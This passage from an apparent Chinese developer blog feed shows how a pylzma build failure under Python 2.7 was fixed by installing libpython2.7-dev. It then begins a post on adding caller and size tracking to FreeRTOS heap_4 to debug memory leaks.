</span></span></span><span class="line"><span class="cl"><span class="s2">  creating build/temp.linux-x86_64-2.7/src
</span></span></span><span class="line"><span class="cl"><span class="s2">  creating build/temp.linux-x86_64-2.7/src/pylzma
</span></span></span><span class="line"><span class="cl"><span class="s2">  creating build/temp.linux-x86_64-2.7/src/sdk
</span></span></span><span class="line"><span class="cl"><span class="s2">  creating build/temp.linux-x86_64-2.7/src/sdk/C
</span></span></span><span class="line"><span class="cl"><span class="s2">  creating build/temp.linux-x86_64-2.7/src/compat
</span></span></span><span class="line"><span class="cl"><span class="s2">  x86_64-linux-gnu-gcc -pthread -fno-strict-aliasing -Wdate-time -D_FORTIFY_SOURCE=2 -g -fdebug-prefix-map=/build/python2.7-CxOYiX/python2.7-2.7.18=. -fstack-protector-strong -Wformat -Werror=format-security -fPIC -DPY_SSIZE_T_CLEAN=1 -DWITH_COMPAT=1 -DPYLZMA_VERSION=0.5.0 -D_7ZIP_ST=1 -Isrc/sdk/C -I/usr/include/python2.7 -c src/pylzma/pylzma.c -o build/temp.linux-x86_64-2.7/src/pylzma/pylzma.o
</span></span></span><span class="line"><span class="cl"><span class="s2">  src/pylzma/pylzma.c:26:10: fatal error: Python.h: No such file or directory
</span></span></span><span class="line"><span class="cl"><span class="s2">     26 | #include &lt;Python.h&gt;
</span></span></span><span class="line"><span class="cl"><span class="s2">        |          ^~~~~~~~~~
</span></span></span><span class="line"><span class="cl"><span class="s2">  compilation terminated.
</span></span></span><span class="line"><span class="cl"><span class="s2">  error: command &#39;x86_64-linux-gnu-gcc&#39; failed with exit status 1
</span></span></span><span class="line"><span class="cl"><span class="s2">  ----------------------------------------
</span></span></span><span class="line"><span class="cl"><span class="s2">  ERROR: Failed building wheel for pylzma
</span></span></span><span class="line"><span class="cl"><span class="s2">  Running setup.py clean for pylzma
</span></span></span><span class="line"><span class="cl"><span class="s2">Failed to build pylzma
</span></span></span><span class="line"><span class="cl"><span class="s2">Installing collected packages: pylzma
</span></span></span><span class="line"><span class="cl"><span class="s2">    Running setup.py install for pylzma ... error
</span></span></span><span class="line"><span class="cl"><span class="s2">    ERROR: Command errored out with exit status 1:
</span></span></span><span class="line"><span class="cl"><span class="s2">     command: /usr/bin/python2.7 -u -c &#39;import sys, setuptools, tokenize; sys.argv[0] = &#39;&#34;</span><span class="s1">&#39;&#34;&#39;</span>/tmp/pip-install-wMwVPQ/pylzma/setup.py<span class="s1">&#39;&#34;&#39;</span><span class="s2">&#34;&#39;; __file__=&#39;&#34;</span><span class="s1">&#39;&#34;&#39;</span>/tmp/pip-install-wMwVPQ/pylzma/setup.py<span class="s1">&#39;&#34;&#39;</span><span class="s2">&#34;&#39;;f=getattr(tokenize, &#39;&#34;</span><span class="s1">&#39;&#34;&#39;</span>open<span class="s1">&#39;&#34;&#39;</span><span class="s2">&#34;&#39;, open)(__file__);code=f.read().replace(&#39;&#34;</span><span class="s1">&#39;&#34;&#39;</span><span class="se">\r\n</span><span class="s1">&#39;&#34;&#39;</span><span class="s2">&#34;&#39;, &#39;&#34;</span><span class="s1">&#39;&#34;&#39;</span><span class="se">\n</span><span class="s1">&#39;&#34;&#39;</span><span class="s2">&#34;&#39;);f.close();exec(compile(code, __file__, &#39;&#34;</span><span class="s1">&#39;&#34;&#39;</span>exec<span class="s1">&#39;&#34;&#39;</span><span class="s2">&#34;&#39;))&#39; install --record /tmp/pip-record-LvdYpy/install-record.txt --single-version-externally-managed --user --prefix= --compile --install-headers /home/xxx/.local/include/python2.7/pylzma
</span></span></span><span class="line"><span class="cl"><span class="s2">         cwd: /tmp/pip-install-wMwVPQ/pylzma/
</span></span></span><span class="line"><span class="cl"><span class="s2">    Complete output (27 lines):
</span></span></span><span class="line"><span class="cl"><span class="s2">    running install
</span></span></span><span class="line"><span class="cl"><span class="s2">    running build
</span></span></span><span class="line"><span class="cl"><span class="s2">    running build_py
</span></span></span><span class="line"><span class="cl"><span class="s2">    creating build
</span></span></span><span class="line"><span class="cl"><span class="s2">    creating build/lib.linux-x86_64-2.7
</span></span></span><span class="line"><span class="cl"><span class="s2">    copying py7zlib.py -&gt; build/lib.linux-x86_64-2.7
</span></span></span><span class="line"><span class="cl"><span class="s2">    running build_ext
</span></span></span><span class="line"><span class="cl"><span class="s2">    There is a workaround to now inherit optimization CFLAGS when compiling wheels.
</span></span></span><span class="line"><span class="cl"><span class="s2">    To enable this, set APPLY_LP2002043_UBUNTU_CFLAGS_WORKAROUND in your
</span></span></span><span class="line"><span class="cl"><span class="s2">    environment. See LP: https://launchpad.net/bugs/2002043 for further context.
</span></span></span><span class="line"><span class="cl"><span class="s2">    APPLY_LP2002043_UBUNTU_CFLAGS_WORKAROUND not detected.
</span></span></span><span class="line"><span class="cl"><span class="s2">    /tmp/pip-install-wMwVPQ/pylzma/setup.py:107: UnsupportedPlatformWarning: Multithreading is not supported on the platform &#34;</span>linux2<span class="s2">&#34;,
</span></span></span><span class="line"><span class="cl"><span class="s2">    please contact mail@joachim-bauch.de for more informations.
</span></span></span><span class="line"><span class="cl"><span class="s2">      please contact mail@joachim-bauch.de for more informations.&#34;&#34;&#34;</span> % <span class="o">(</span>sys.platform<span class="o">)</span>, UnsupportedPlatformWarning<span class="o">)</span>
</span></span><span class="line"><span class="cl">    building <span class="s1">&#39;pylzma&#39;</span> extension
</span></span><span class="line"><span class="cl">    creating build/temp.linux-x86_64-2.7
</span></span><span class="line"><span class="cl">    creating build/temp.linux-x86_64-2.7/src
</span></span><span class="line"><span class="cl">    creating build/temp.linux-x86_64-2.7/src/pylzma
</span></span><span class="line"><span class="cl">    creating build/temp.linux-x86_64-2.7/src/sdk
</span></span><span class="line"><span class="cl">    creating build/temp.linux-x86_64-2.7/src/sdk/C
</span></span><span class="line"><span class="cl">    creating build/temp.linux-x86_64-2.7/src/compat
</span></span><span class="line"><span class="cl">    x86_64-linux-gnu-gcc -pthread -fno-strict-aliasing -Wdate-time -D_FORTIFY_SOURCE<span class="o">=</span><span class="m">2</span> -g -fdebug-prefix-map<span class="o">=</span>/build/python2.7-CxOYiX/python2.7-2.7.18<span class="o">=</span>. -fstack-protector-strong -Wformat -Werror<span class="o">=</span>format-security -fPIC -DPY_SSIZE_T_CLEAN<span class="o">=</span><span class="m">1</span> -DWITH_COMPAT<span class="o">=</span><span class="m">1</span> -DPYLZMA_VERSION<span class="o">=</span>0.5.0 -D_7ZIP_ST<span class="o">=</span><span class="m">1</span> -Isrc/sdk/C -I/usr/include/python2.7 -c src/pylzma/pylzma.c -o build/temp.linux-x86_64-2.7/src/pylzma/pylzma.o
</span></span><span class="line"><span class="cl">    src/pylzma/pylzma.c:26:10: fatal error: Python.h: No such file or directory
</span></span><span class="line"><span class="cl">       <span class="m">26</span> <span class="p">|</span> <span class="c1">#include &lt;Python.h&gt;</span>
</span></span><span class="line"><span class="cl">          <span class="p">|</span>          ^~~~~~~~~~
</span></span><span class="line"><span class="cl">    compilation terminated.
</span></span><span class="line"><span class="cl">    error: <span class="nb">command</span> <span class="s1">&#39;x86_64-linux-gnu-gcc&#39;</span> failed with <span class="nb">exit</span> status <span class="m">1</span>
</span></span><span class="line"><span class="cl">    ----------------------------------------
</span></span><span class="line"><span class="cl">ERROR: Command errored out with <span class="nb">exit</span> status 1: /usr/bin/python2.7 -u -c <span class="s1">&#39;import sys, setuptools, tokenize; sys.argv[0] = &#39;</span><span class="s2">&#34;&#39;&#34;</span><span class="s1">&#39;/tmp/pip-install-wMwVPQ/pylzma/setup.py&#39;</span><span class="s2">&#34;&#39;&#34;</span><span class="s1">&#39;; __file__=&#39;</span><span class="s2">&#34;&#39;&#34;</span><span class="s1">&#39;/tmp/pip-install-wMwVPQ/pylzma/setup.py&#39;</span><span class="s2">&#34;&#39;&#34;</span><span class="s1">&#39;;f=getattr(tokenize, &#39;</span><span class="s2">&#34;&#39;&#34;</span><span class="s1">&#39;open&#39;</span><span class="s2">&#34;&#39;&#34;</span><span class="s1">&#39;, open)(__file__);code=f.read().replace(&#39;</span><span class="s2">&#34;&#39;&#34;</span><span class="s1">&#39;\r\n&#39;</span><span class="s2">&#34;&#39;&#34;</span><span class="s1">&#39;, &#39;</span><span class="s2">&#34;&#39;&#34;</span><span class="s1">&#39;\n&#39;</span><span class="s2">&#34;&#39;&#34;</span><span class="s1">&#39;);f.close();exec(compile(code, __file__, &#39;</span><span class="s2">&#34;&#39;&#34;</span><span class="s1">&#39;exec&#39;</span><span class="s2">&#34;&#39;&#34;</span><span class="s1">&#39;))&#39;</span> install --record /tmp/pip-record-LvdYpy/install-record.txt --single-version-externally-managed --user --prefix<span class="o">=</span> --compile --install-headers /home/xxx/.local/include/python2.7/pylzma Check the logs <span class="k">for</span> full <span class="nb">command</span> output.
</span></span></code></pre></td></tr></table>
</div>
</div><p>一安装就报错，折腾老半天:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl"> x86_64-linux-gnu-gcc -pthread -fno-strict-aliasing -Wdate-time -D_FORTIFY_SOURCE=2 -g -fdebug-prefix-map=/build/python2.7-CxOYiX/python2.7-2.7.18=. -fstack-protector-strong -Wformat -Werror=format-security -fPIC -DPY_SSIZE_T_CLEAN=1 -DWITH_COMPAT=1 -DPYLZMA_VERSION=0.5.0 -D_7ZIP_ST=1 -Isrc/sdk/C -I/usr/include/python2.7 -c src/pylzma/pylzma.c -o build/temp.linux-x86_64-2.7/src/pylzma/pylzma.o
</span></span><span class="line"><span class="cl">  src/pylzma/pylzma.c:26:10: fatal error: Python.h: No such file or directory
</span></span><span class="line"><span class="cl">     26 | #include &lt;Python.h&gt;
</span></span><span class="line"><span class="cl">        |          ^~~~~~~~~~
</span></span><span class="line"><span class="cl">  compilation terminated.
</span></span><span class="line"><span class="cl">  error: command &#39;x86_64-linux-gnu-gcc&#39; failed with exit status 1
</span></span></code></pre></td></tr></table>
</div>
</div><p>后面才发现是需要安装 libpython2.7-dev 包</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo apt-get install libpython2.7-dev
</span></span><span class="line"><span class="cl">Reading package lists... Done
</span></span><span class="line"><span class="cl">Building dependency tree       
</span></span><span class="line"><span class="cl">Reading state information... Done
</span></span><span class="line"><span class="cl">The following additional packages will be installed:
</span></span><span class="line"><span class="cl">  libpython2.7
</span></span><span class="line"><span class="cl">The following NEW packages will be installed:
</span></span><span class="line"><span class="cl">  libpython2.7 libpython2.7-dev
</span></span><span class="line"><span class="cl"><span class="m">0</span> upgraded, <span class="m">2</span> newly installed, <span class="m">0</span> to remove and <span class="m">19</span> not upgraded.
</span></span><span class="line"><span class="cl">Need to get <span class="m">3506</span> kB of archives.
</span></span><span class="line"><span class="cl">After this operation, 17.3 MB of additional disk space will be used.
</span></span><span class="line"><span class="cl">Do you want to <span class="k">continue</span>? <span class="o">[</span>Y/n<span class="o">]</span> y
</span></span><span class="line"><span class="cl">Get:1 http://archive.ubuntu.com/ubuntu focal-updates/universe amd64 libpython2.7 amd64 2.7.18-1~20.04.4 <span class="o">[</span><span class="m">1038</span> kB<span class="o">]</span>
</span></span><span class="line"><span class="cl">Get:2 http://archive.ubuntu.com/ubuntu focal-updates/universe amd64 libpython2.7-dev amd64 2.7.18-1~20.04.4 <span class="o">[</span><span class="m">2468</span> kB<span class="o">]</span>
</span></span><span class="line"><span class="cl">Fetched <span class="m">3506</span> kB in 3s <span class="o">(</span><span class="m">1033</span> kB/s<span class="o">)</span>           
</span></span><span class="line"><span class="cl">Selecting previously unselected package libpython2.7:amd64.
</span></span><span class="line"><span class="cl"><span class="o">(</span>Reading database ... <span class="m">47106</span> files and directories currently installed.<span class="o">)</span>
</span></span><span class="line"><span class="cl">Preparing to unpack .../libpython2.7_2.7.18-1~20.04.4_amd64.deb ...
</span></span><span class="line"><span class="cl">Unpacking libpython2.7:amd64 <span class="o">(</span>2.7.18-1~20.04.4<span class="o">)</span> ...
</span></span><span class="line"><span class="cl">Selecting previously unselected package libpython2.7-dev:amd64.
</span></span><span class="line"><span class="cl">Preparing to unpack .../libpython2.7-dev_2.7.18-1~20.04.4_amd64.deb ...
</span></span><span class="line"><span class="cl">Unpacking libpython2.7-dev:amd64 <span class="o">(</span>2.7.18-1~20.04.4<span class="o">)</span> ...
</span></span><span class="line"><span class="cl">Setting up libpython2.7:amd64 <span class="o">(</span>2.7.18-1~20.04.4<span class="o">)</span> ...
</span></span><span class="line"><span class="cl">Setting up libpython2.7-dev:amd64 <span class="o">(</span>2.7.18-1~20.04.4<span class="o">)</span> ...
</span></span><span class="line"><span class="cl">Processing triggers <span class="k">for</span> man-db <span class="o">(</span>2.9.1-1<span class="o">)</span> ...
</span></span><span class="line"><span class="cl">Processing triggers <span class="k">for</span> libc-bin <span class="o">(</span>2.31-0ubuntu9.16<span class="o">)</span> ...
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">fcm362k_open on  main <span class="o">[</span>!+?⇡<span class="o">]</span> via △ v3.28.2 took 32s 
</span></span></code></pre></td></tr></table>
</div>
</div><p>再用pip 安装 pylzma，搞定。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">❯ pip install pylzma
</span></span><span class="line"><span class="cl">DEPRECATION: Python 2.7 reached the end of its life on January 1st, 2020. Please upgrade your Python as Python 2.7 is no longer maintained. pip 21.0 will drop support <span class="k">for</span> Python 2.7 in January 2021. More details about Python <span class="m">2</span> support in pip can be found at https://pip.pypa.io/en/latest/development/release-process/#python-2-support pip 21.0 will remove support <span class="k">for</span> this functionality.
</span></span><span class="line"><span class="cl">Defaulting to user installation because normal site-packages is not writeable
</span></span><span class="line"><span class="cl">Collecting pylzma
</span></span><span class="line"><span class="cl">  Using cached pylzma-0.5.0.tar.gz <span class="o">(</span>4.2 MB<span class="o">)</span>
</span></span><span class="line"><span class="cl">Building wheels <span class="k">for</span> collected packages: pylzma
</span></span><span class="line"><span class="cl">  Building wheel <span class="k">for</span> pylzma <span class="o">(</span>setup.py<span class="o">)</span> ... <span class="k">done</span>
</span></span><span class="line"><span class="cl">  Created wheel <span class="k">for</span> pylzma: <span class="nv">filename</span><span class="o">=</span>pylzma-0.5.0-cp27-cp27mu-linux_x86_64.whl <span class="nv">size</span><span class="o">=</span><span class="m">141946</span> <span class="nv">sha256</span><span class="o">=</span>b377270f54367f030a7250e6f01a76e9d05262f124bd73bf039bc82425a1570c
</span></span><span class="line"><span class="cl">  Stored in directory: /home/xxx/.cache/pip/wheels/a3/08/31/80d21f91a9a7bf972721aee8a821c96311b65781dda8a6411a
</span></span><span class="line"><span class="cl">Successfully built pylzma
</span></span><span class="line"><span class="cl">Installing collected packages: pylzma
</span></span><span class="line"><span class="cl">Successfully installed pylzma-0.5.0
</span></span></code></pre></td></tr></table>
</div>
</div>]]></content:encoded>
    </item>
    <item>
      <title>为 freertos 的 heap_4 动态内存分配方案增加 heap info 调试信息</title>
      <link>https://hacperme.com/posts/notes/20240508_bk7321n_heap_memory_leak/</link>
      <pubDate>Sun, 23 Jun 2024 02:00:18 +0800</pubDate>
      <guid>https://hacperme.com/posts/notes/20240508_bk7321n_heap_memory_leak/</guid>
      <description>为 freertos 的 heap_4 增加 heap info 调试信息，用于排查内存泄漏和内存越界问题</description>
      <content:encoded><![CDATA[<h2 id="如何为-freertos-的-heap_4-动态内存分配方案增加-heap-info-调试信息">如何为 freertos 的 heap_4 动态内存分配方案增加 heap info 调试信息？</h2>
<p>增加调试信息的目的是为了方便排查内存泄漏和内存越界问题，为了排查内存泄漏，需要记录每个内存块的申请者信息，以下是针对内存泄漏问题调试的修改。</p>
<ul>
<li>修改内存块头部的数据结构，增加字段记录内存申请者的信息和申请的内存大小。</li>
</ul>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="k">typedef</span> <span class="k">struct</span> <span class="n">A_BLOCK_LINK</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">struct</span> <span class="n">A_BLOCK_LINK</span> <span class="o">*</span> <span class="n">pxNextFreeBlock</span><span class="p">;</span> <span class="cm">/*&lt;&lt; The next free block in the list. */</span>
</span></span><span class="line"><span class="cl">    <span class="kt">size_t</span> <span class="n">xBlockSize</span><span class="p">;</span>                     <span class="cm">/*&lt;&lt; The size of the free block. */</span>
</span></span><span class="line"><span class="cl">    <span class="kt">size_t</span> <span class="n">xWantedSize</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">void</span> <span class="o">*</span><span class="n">caller</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span> <span class="n">BlockLink_t</span><span class="p">;</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>xWantedSize 和 caller 是新增的字段，分别用于记录内存分配时候的调用者信息和申请的内存大小。</p>
<ul>
<li>修改 pvPortMalloc 和 pvPortRealloc 的定义，传入参数增加 caller。</li>
</ul>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="kt">void</span> <span class="o">*</span> <span class="nf">pvPortMalloc</span><span class="p">(</span> <span class="kt">size_t</span> <span class="n">xSize</span> <span class="p">,</span> <span class="kt">void</span> <span class="o">*</span><span class="n">caller</span><span class="p">)</span> <span class="n">PRIVILEGED_FUNCTION</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="o">*</span> <span class="nf">pvPortRealloc</span><span class="p">(</span> <span class="kt">void</span> <span class="o">*</span><span class="n">p</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                     <span class="kt">size_t</span> <span class="n">xSize</span><span class="p">,</span> <span class="kt">void</span> <span class="o">*</span><span class="n">caller</span><span class="p">)</span> <span class="n">PRIVILEGED_FUNCTION</span><span class="p">;</span>
</span></span></code></pre></td></tr></table>
</div>
</div><ul>
<li>修改 prvHeapInit pvPortMalloc 的实现，增加记录 caller，增加新接口 show_heap_info 查看 heap 的内存使用情况。</li>
</ul>
<p>在 heap 初始化的时候增加 caller xWantedSize 的初始化。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span><span class="lnt">38
</span><span class="lnt">39
</span><span class="lnt">40
</span><span class="lnt">41
</span><span class="lnt">42
</span><span class="lnt">43
</span><span class="lnt">44
</span><span class="lnt">45
</span><span class="lnt">46
</span><span class="lnt">47
</span><span class="lnt">48
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="k">static</span> <span class="kt">void</span> <span class="nf">prvHeapInit</span><span class="p">(</span> <span class="kt">void</span> <span class="p">)</span> <span class="cm">/* PRIVILEGED_FUNCTION */</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">BlockLink_t</span> <span class="o">*</span> <span class="n">pxFirstFreeBlock</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">uint8_t</span> <span class="o">*</span> <span class="n">pucAlignedHeap</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">size_t</span> <span class="n">uxAddress</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">size_t</span> <span class="n">xTotalHeapSize</span> <span class="o">=</span> <span class="n">configTOTAL_HEAP_SIZE</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="cm">/* Ensure the heap starts on a correctly aligned boundary. */</span>
</span></span><span class="line"><span class="cl">    <span class="n">uxAddress</span> <span class="o">=</span> <span class="p">(</span> <span class="kt">size_t</span> <span class="p">)</span> <span class="n">ucHeap</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span><span class="p">(</span> <span class="p">(</span> <span class="n">uxAddress</span> <span class="o">&amp;</span> <span class="n">portBYTE_ALIGNMENT_MASK</span> <span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">uxAddress</span> <span class="o">+=</span> <span class="p">(</span> <span class="n">portBYTE_ALIGNMENT</span> <span class="o">-</span> <span class="mi">1</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="n">uxAddress</span> <span class="o">&amp;=</span> <span class="o">~</span><span class="p">(</span> <span class="p">(</span> <span class="kt">size_t</span> <span class="p">)</span> <span class="n">portBYTE_ALIGNMENT_MASK</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="n">xTotalHeapSize</span> <span class="o">-=</span> <span class="n">uxAddress</span> <span class="o">-</span> <span class="p">(</span> <span class="kt">size_t</span> <span class="p">)</span> <span class="n">ucHeap</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">pucAlignedHeap</span> <span class="o">=</span> <span class="p">(</span> <span class="kt">uint8_t</span> <span class="o">*</span> <span class="p">)</span> <span class="n">uxAddress</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="cm">/* xStart is used to hold a pointer to the first item in the list of free
</span></span></span><span class="line"><span class="cl"><span class="cm">     * blocks.  The void cast is used to prevent compiler warnings. */</span>
</span></span><span class="line"><span class="cl">    <span class="n">xStart</span><span class="p">.</span><span class="n">pxNextFreeBlock</span> <span class="o">=</span> <span class="p">(</span> <span class="kt">void</span> <span class="o">*</span> <span class="p">)</span> <span class="n">pucAlignedHeap</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">xStart</span><span class="p">.</span><span class="n">xBlockSize</span> <span class="o">=</span> <span class="p">(</span> <span class="kt">size_t</span> <span class="p">)</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">xStart</span><span class="p">.</span><span class="n">caller</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">xStart</span><span class="p">.</span><span class="n">xWantedSize</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="cm">/* pxEnd is used to mark the end of the list of free blocks and is inserted
</span></span></span><span class="line"><span class="cl"><span class="cm">     * at the end of the heap space. */</span>
</span></span><span class="line"><span class="cl">    <span class="n">uxAddress</span> <span class="o">=</span> <span class="p">(</span> <span class="p">(</span> <span class="kt">size_t</span> <span class="p">)</span> <span class="n">pucAlignedHeap</span> <span class="p">)</span> <span class="o">+</span> <span class="n">xTotalHeapSize</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">uxAddress</span> <span class="o">-=</span> <span class="n">xHeapStructSize</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">uxAddress</span> <span class="o">&amp;=</span> <span class="o">~</span><span class="p">(</span> <span class="p">(</span> <span class="kt">size_t</span> <span class="p">)</span> <span class="n">portBYTE_ALIGNMENT_MASK</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">pxEnd</span> <span class="o">=</span> <span class="p">(</span> <span class="kt">void</span> <span class="o">*</span> <span class="p">)</span> <span class="n">uxAddress</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">pxEnd</span><span class="o">-&gt;</span><span class="n">xBlockSize</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">pxEnd</span><span class="o">-&gt;</span><span class="n">caller</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">pxEnd</span><span class="o">-&gt;</span><span class="n">pxNextFreeBlock</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="cm">/* To start with there is a single free block that is sized to take up the
</span></span></span><span class="line"><span class="cl"><span class="cm">     * entire heap space, minus the space taken by pxEnd. */</span>
</span></span><span class="line"><span class="cl">    <span class="n">pxFirstFreeBlock</span> <span class="o">=</span> <span class="p">(</span> <span class="kt">void</span> <span class="o">*</span> <span class="p">)</span> <span class="n">pucAlignedHeap</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">pxFirstFreeBlock</span><span class="o">-&gt;</span><span class="n">xBlockSize</span> <span class="o">=</span> <span class="n">uxAddress</span> <span class="o">-</span> <span class="p">(</span> <span class="kt">size_t</span> <span class="p">)</span> <span class="n">pxFirstFreeBlock</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">pxFirstFreeBlock</span><span class="o">-&gt;</span><span class="n">xWantedSize</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">pxFirstFreeBlock</span><span class="o">-&gt;</span><span class="n">caller</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">pxFirstFreeBlock</span><span class="o">-&gt;</span><span class="n">pxNextFreeBlock</span> <span class="o">=</span> <span class="n">pxEnd</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="cm">/* Only one block exists - and it covers the entire usable heap space. */</span>
</span></span><span class="line"><span class="cl">    <span class="n">xMinimumEverFreeBytesRemaining</span> <span class="o">=</span> <span class="n">pxFirstFreeBlock</span><span class="o">-&gt;</span><span class="n">xBlockSize</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">xFreeBytesRemaining</span> <span class="o">=</span> <span class="n">pxFirstFreeBlock</span><span class="o">-&gt;</span><span class="n">xBlockSize</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>在分配内存的时候，记录caller 和 xWantedSize 到内存卡的头部。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">  1
</span><span class="lnt">  2
</span><span class="lnt">  3
</span><span class="lnt">  4
</span><span class="lnt">  5
</span><span class="lnt">  6
</span><span class="lnt">  7
</span><span class="lnt">  8
</span><span class="lnt">  9
</span><span class="lnt"> 10
</span><span class="lnt"> 11
</span><span class="lnt"> 12
</span><span class="lnt"> 13
</span><span class="lnt"> 14
</span><span class="lnt"> 15
</span><span class="lnt"> 16
</span><span class="lnt"> 17
</span><span class="lnt"> 18
</span><span class="lnt"> 19
</span><span class="lnt"> 20
